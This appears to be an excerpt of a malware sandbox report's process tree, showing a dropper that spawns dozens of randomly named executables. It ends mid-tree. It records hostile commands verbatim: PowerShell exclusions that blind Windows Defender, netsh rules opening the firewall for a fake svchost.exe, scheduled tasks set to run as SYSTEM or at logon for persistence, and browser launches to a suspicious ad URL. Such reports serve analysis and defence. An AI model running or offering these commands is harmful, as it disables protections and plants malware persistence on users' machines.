                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\zb_GNN4ZicZJDYAaBv5ollkv.exe"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                    PID:5816
                                                                                                                                                                                    • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                                                                                      "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:4032
                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\ffRY7NtW64kXHzYQ0dxEEoKs.exe
                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\ffRY7NtW64kXHzYQ0dxEEoKs.exe"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:5920
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 964
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Program crash
                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                      PID:7072
                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\5WkgWF4reGVRq9ZYLqh7v5gC.exe
                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\5WkgWF4reGVRq9ZYLqh7v5gC.exe"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:4040
                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\_x9GiJzYDf9aJhmGn5Vb8S8w.exe
                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\_x9GiJzYDf9aJhmGn5Vb8S8w.exe"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                    PID:5896
                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\ayO1VtN_QSdi4l2DM937MXS0.exe
                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\ayO1VtN_QSdi4l2DM937MXS0.exe"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:1624
                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\eXLCtZPPkxEwQmQj8pD33_AM.exe
                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\eXLCtZPPkxEwQmQj8pD33_AM.exe"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                    PID:5840
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:4976
                                                                                                                                                                                      • C:\Windows\System32\netsh.exe
                                                                                                                                                                                        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:5868
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                          PID:660
                                                                                                                                                                                        • C:\Windows\System32\netsh.exe
                                                                                                                                                                                          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5800
                                                                                                                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                            schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                            PID:2760
                                                                                                                                                                                          • C:\Windows\System\svchost.exe
                                                                                                                                                                                            "C:\Windows\System\svchost.exe" formal
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                            PID:2264
                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:2928
                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:6948
                                                                                                                                                                                                • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:1172
                                                                                                                                                                                                  • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:4328
                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\vEuOBV85K9pJ9VWlkcYMPjWC.exe
                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\vEuOBV85K9pJ9VWlkcYMPjWC.exe"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:3776
                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\csjbW1FdgBaFTQt9GTdZ3kvx.exe
                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\csjbW1FdgBaFTQt9GTdZ3kvx.exe"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:2948
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                    PID:2608
                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:7152
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:6076
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:4784
                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\f47U96v4E2xvAceZTVowo_Da.exe
                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\f47U96v4E2xvAceZTVowo_Da.exe"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    PID:6124
                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\DAol2sBwNgrYbgLIVYbajhxO.exe
                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\DAol2sBwNgrYbgLIVYbajhxO.exe"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    PID:476
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 476 -s 340
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                      PID:4636
                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\YhE1IiHPA4dy8ccXNcMS2QFN.exe
                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\YhE1IiHPA4dy8ccXNcMS2QFN.exe"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                    PID:2492
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\YhE1IiHPA4dy8ccXNcMS2QFN.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\YhE1IiHPA4dy8ccXNcMS2QFN.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                      PID:1472
                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\rCEAlTAUmN5DqGRox3D7HhaA.exe
                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\rCEAlTAUmN5DqGRox3D7HhaA.exe"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                    PID:5252
                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                      PID:4760
                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                      PID:6700
                                                                                                                                                                                                    • C:\Users\Admin\Documents\hyzZ04CeVAMup7RZLc9eHtE9.exe
                                                                                                                                                                                                      "C:\Users\Admin\Documents\hyzZ04CeVAMup7RZLc9eHtE9.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:6736
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\TMQ6LthiU8UkEpmnVrETqTvM.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\TMQ6LthiU8UkEpmnVrETqTvM.exe"
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:6624
                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\k39E9PbopFSHkyy_8xUul0st.exe
                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\k39E9PbopFSHkyy_8xUul0st.exe"
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            PID:6112
                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\OzInUEiCTkIlLbEgAOE1H2S3.exe
                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\OzInUEiCTkIlLbEgAOE1H2S3.exe"
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:3696
                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3696 -s 300
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                PID:5916
                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\tmUEFXrrQlG7ZuV2tLtas74T.exe
                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\tmUEFXrrQlG7ZuV2tLtas74T.exe"
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:3472
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 276
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  PID:1592
                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\ceXnM50PiqOC0dRI62_0aRFN.exe
                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\ceXnM50PiqOC0dRI62_0aRFN.exe"
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:2844
                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\VjxzGqRCZA0jrFd9MS8ituIz.exe
                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\VjxzGqRCZA0jrFd9MS8ituIz.exe"
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:676
                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\VjxzGqRCZA0jrFd9MS8ituIz.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\VjxzGqRCZA0jrFd9MS8ituIz.exe" -u
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                        PID:5200
                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\buGrO5_I0VyeWHsTdgPgm9Ex.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\buGrO5_I0VyeWHsTdgPgm9Ex.exe"
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                      PID:4912
                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\VWcW9lrNS1fOheXu_Z7OpJVv.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\VWcW9lrNS1fOheXu_Z7OpJVv.exe"
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2580
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-IUT4E.tmp\VWcW9lrNS1fOheXu_Z7OpJVv.tmp
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-IUT4E.tmp\VWcW9lrNS1fOheXu_Z7OpJVv.tmp" /SL5="$70456,506127,422400,C:\Users\Admin\Pictures\Adobe Films\VWcW9lrNS1fOheXu_Z7OpJVv.exe"
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                          PID:5356
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-NO46A.tmp\DYbALA.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-NO46A.tmp\DYbALA.exe" /S /UID=2709
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • Drops file in Drivers directory
                                                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                            PID:2336
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\ce-ca5bc-c1a-987ba-f00d6c37cffff\Satobofimo.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\ce-ca5bc-c1a-987ba-f00d6c37cffff\Satobofimo.exe"
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:5424
                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                  PID:6180
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b4718
                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                      PID:5844
                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                        PID:1724
                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3
                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                          PID:5012
                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2768 /prefetch:8
                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                            PID:4708
                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                              PID:7416
                                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                PID:7480
                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4796 /prefetch:1
                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                  PID:8064
                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3864 /prefetch:1
                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                    PID:8500
                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                      PID:9568
                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:1
                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                        PID:9620
                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:8
                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                          PID:11312
                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:8
                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                            PID:11864
                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4652 /prefetch:2
                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                              PID:5656
                                                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4612 /prefetch:1
                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                PID:5112
                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4528 /prefetch:1
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                  PID:10068
                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5808 /prefetch:1
                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                    PID:11688
                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4868 /prefetch:1
                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                      PID:9144
                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                        PID:10996
                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:1
                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                          PID:8072
                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                          PID:9040
                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
